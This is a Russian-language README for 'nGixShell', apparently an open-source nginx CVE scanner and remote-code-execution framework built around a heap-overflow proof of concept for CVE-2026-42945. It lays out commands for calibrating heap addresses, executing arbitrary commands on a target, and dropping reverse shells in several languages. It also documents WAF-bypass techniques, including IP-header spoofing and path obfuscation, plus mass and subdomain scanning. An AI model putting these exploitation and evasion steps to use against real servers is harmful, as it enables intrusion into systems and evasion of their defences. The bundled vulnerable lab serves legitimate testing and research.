
nginx CVE-сканер + фреймворк RCE-эксплойтов (CVE-2026-42945 + ещё 16)
nGixShell — это сканер CVE nginx и фреймворк для эксплуатации RCE. Он включает proof-of-concept для CVE-2026-42945 (CVSS 3.1 8.1 HIGH по данным F5/NVD) — переполнение буфера в куче в ngx_http_rewrite_module — и сканер, охватывающий 64 CVE nginx с автоматическими HTTP-пробами, фингерпринтингом, обнаружением/обходом WAF, аудитом веб-безопасности и генерацией отчётов.
Без внешних зависимостей. Только стандартная библиотека Python 3.
Предварительные требования для эксплуатации (прочитайте первым делом).
--cmd/--shellработают только когда все эти условия выполнены: цель — x86_64, уязвимая конфигурацияrewrite+setприсутствует, ASLR отключён, а адреса кучи/libc были откалиброваны для этой конкретной сборки (calibrate.py→--build-file). См. Требования для эксплуатации. У самого сканера таких требований нет.
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Флаги не требуются — при указании цели инструмент запускает всё автоматически.
TLS определяется автоматически. nginx фингерпринтится даже при server_tokens off.
system()не захватывает stdout:--cmd 'id'выполняется, но ничего не выводит обратно. Используйте команду с наблюдаемым побочным эффектом и подтвердите её с помощью--verify-url http://target/pwned(HTTP 200 = подтверждено).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Флаг | Описание |
|---|---|
| (нет) | Авто — фингерпринтинг + сканирование CVE + веб-аудит |
--cmd 'CMD' | Выполнить команду через RCE CVE-2026-42945 |
--cmd-file FILE | Выполнить команды из файла (объединяются через ;) |
--shell | Получить reverse shell |
--shell-type TYPE | Полезная нагрузка: bash python perl php nc powershell (по умолчанию: python) |
--upgrade-shell | Автоматически отправить PTY-апгрейд после подключения shell |
--verify-url URL | После обнаруженного краха запросить URL для подтверждения выполнения команды (200 = подтверждено) |
--subdomain-scan DOMAIN | Найти уязвимый nginx на поддоменах |
--cve CVE-ID | Проверить одну конкретную CVE |
--list-cves | Вывести все 64 CVE с CVSS и информацией о пробах |
--list-candidates | Вывести кандидаты адресов кучи |
--dry-run | Только фингерпринтинг + сканирование, без эксплуатации |
--target-file FILE | Сканировать несколько хостов из файла |
| Флаг | Описание |
|---|---|
--build-file FILE | Рекомендуется. JSON-профиль калибровки из calibrate.py --json -o FILE |
--offsets SPEC | Разделённые запятыми hex-смещения кучи из calibrate.py (например, 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | Ручное переопределение адресов |
--build KEY | Встроенный профиль (только эталонная лаборатория DepthFirst поставляется) |
--rewrite-path PATH | Уязвимая локация rewrite (по умолчанию /api) |
--spray-path PATH | Локация с proxy_pass, используемая для спрея в теле POST (по умолчанию /upload; в комплектной лаборатории используется /spray) |
--spray-mode partial|full | partial: короткое тело + большой Content-Length (комплектная лаборатория); full: полное тело + X-Delay (лаборатория DepthFirst) |
--pad-a N / --pad-plus N | Паддинг пути триггера перед последовательностью + (по умолчанию 349 / 969, из вендорского PoC) |
--continue-on-crash | Продолжать перебор оставшихся кандидатов кучи после неподтверждённого краха |
--tries N / --spray N / --body-len N | Попытки триггера на кандидата / соединения спрея / размер тела спрея |
| Флаг | Описание |
|---|---|
--waf-detect | Обнаружить WAF перед сканированием |
--waf-bypass | Включить все техники обхода (также запускает обнаружение) |
--waf-ip IP | Подменить этот IP в заголовках обхода (по умолчанию: случайный RFC1918) |
Техники обхода (все активны при --waf-bypass):
| Техника | Детали |
|---|---|
| Подмена IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Ротация UA | 11 реальных User-Agent браузеров/ботов, рандомизируются на каждый запрос |
| Обфускация пути | двойной слэш, паддинг /./, процентное кодирование, вариация регистра |
| Перемешивание регистра заголовков | рандомизирует регистр имён заголовков для нарушения сопоставления шаблонов WAF |
Обнаруживаемые WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Запускается автоматически в режиме сканирования. Все модули можно пропустить по отдельности.
| Флаг | Описание |
|---|---|
--skip-headers | Пропустить аудит заголовков безопасности HTTP |
--skip-paths | Пропустить обнаружение путей/файлов |
--skip-vhosts | Пропустить перечисление виртуальных хостов |
--skip-tls | Пропустить аудит протоколов TLS |
--path-wordlist FILE | Дополнительные пути для проверки (по одному в строке) |
/nginx_status, если он открыт| Флаг | Описание |
|---|---|
--port PORT | Переопределить порт |
--tls | Принудительно использовать TLS (по умолчанию определяется автоматически) |
--proxy URL | Прокси: http://, https://, socks5:// |
| Флаг | Описание |
|---|---|
--user-agent UA | Пользовательский User-Agent |
--auth USER:PASS | HTTP Basic auth |
--cookie VALUE | Заголовок Cookie |
--header NAME:VALUE | Дополнительный заголовок (можно повторять) |